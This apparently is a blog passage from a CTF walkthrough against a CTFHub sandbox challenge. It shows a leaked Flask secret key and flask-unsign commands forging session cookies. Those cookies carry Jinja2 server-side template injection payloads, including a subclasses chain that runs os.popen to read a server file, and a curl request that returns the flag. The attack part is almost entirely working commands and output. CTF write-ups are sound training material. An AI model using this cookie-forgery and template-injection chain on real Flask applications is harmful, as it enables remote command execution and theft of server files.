&#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 885&gt;, &lt;code object load at 0x7fa5ea101bb0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 379&gt;, &lt;code object _get_default_module at 0x7fa5ea7fed30, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 1168&gt;, &lt;code object _fail_with_undefined_error at 0x7fa5ea7722b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 742&gt;, &lt;code object get_template at 0x7fa5ea7fe230, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 862&gt;, &lt;code object call at 0x7fa5ea7679b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 260&gt;, &lt;code object get_or_select_template at 0x7fa5ea7fe3b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 921&gt;, &lt;code object __call__ at 0x7fa5ea76cb30, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 552&gt;, &lt;code object _load_template at 0x7fa5ea7fe130, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 846&gt;, &lt;code object __call__ at 0x7fa5ea76c0b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 370&gt;, &lt;code object parse at 0x7fa5ea7f76b0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 522&gt;, &lt;code object compile at 0x7fa5ea7f7b30, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/environment.py&#34;, line 603&gt;, &lt;code object __getattr__ at 0x7fa5ea772330, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 749&gt;, &lt;code object load at 0x7fa5ea502030, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 422&gt;, &lt;code object __call__ at 0x7fa5ea76ceb0, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/runtime.py&#34;, line 597&gt;, &lt;code object load at 0x7fa5ea502530, file &#34;/usr/local/lib/python2.7/site-packages/jinja2/loaders.py&#34;, line 487&gt;]), &#39;select_autoescape&#39;: &lt;function select_autoescape at 0x7fa5eae6b450&gt;, &#39;Lock&#39;: &lt;built-in function allocate_lock&gt;, &#39;string_types&#39;: (&lt;type &#39;str&#39;&gt;, &lt;type &#39;unicode&#39;&gt;), &#39;contextfunction&#39;: &lt;function contextfunction at 0x7fa5ea7d73d0&gt;, &#39;__doc__&#39;: None, &#39;import_string&#39;: &lt;function import_string at 0x7fa5ea7e37d0&gt;, &#39;_striptags_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5eadbf6f0&gt;, &#39;_slash_escape&#39;: True, &#39;pformat&#39;: &lt;function pformat at 0x7fa5ea7ee1d0&gt;, &#39;generate_lorem_ipsum&#39;: &lt;function generate_lorem_ipsum at 0x7fa5ea7ee2d0&gt;, &#39;object_type_repr&#39;: &lt;function object_type_repr at 0x7fa5ea7e3d50&gt;, &#39;clear_caches&#39;: &lt;function clear_caches at 0x7fa5ea7e33d0&gt;, &#39;os&#39;: &lt;module &#39;os&#39; from &#39;/usr/local/lib/python2.7/os.pyc&#39;&gt;, &#39;is_undefined&#39;: &lt;function is_undefined at 0x7fa5ea7db5d0&gt;, &#39;missing&#39;: missing}, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>                                                                                                                                                                                                          

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie "{'n1code': '{{url_for.__globals__}}'}" --secret 'Drmhze6EPcv0fN_81Bj-nA'

eyJuMWNvZGUiOiJ7e3VybF9mb3IuX19nbG9iYWxzX199fSJ9.ai0OBg.86olI8jKLGxgu8WVg-cJr2J3fvU

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie '{"n1code": "{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__[\"linecache\"].os.popen(\"cat /home/sssssserver/flag.py\").read()}}"}' --secret 'Drmhze6EPcv0fN_81Bj-nA'

.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ curl -X POST http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \

  -d "n1code=test" \

  -H "Cookie: session=.eJwdikEOwiAQRa9iZlU2EBcu9CrQkIGOLQkCYaqJIdxd5K9e3vsN0tXnjeABrelVWusjMls7yCHTBH67aWn4Rejb_f8LKZyz7jE7jCNpAzEk8ugPMrDKzLLkQmkx4PG8qCO_SPEc1Q9V9Yy4y_I1IGQl3BbRO_Qf9XE0FA.ai0OHw.Fzt93V5r0ydA9FGbUvY84bZTcrU"

<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : #!/usr/bin/python

 

flag = &#39;n1book{afr_3_solved}&#39;

, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>                                                                                                                                                                                                         

 


No comments:

Post a Comment

Case 04 Time Zone

  DIGITAL FORENSICS PENETRATION TEST REPORT Target Investigation: Time Zone Alignment & Prefetch Analysis Customer / Targe...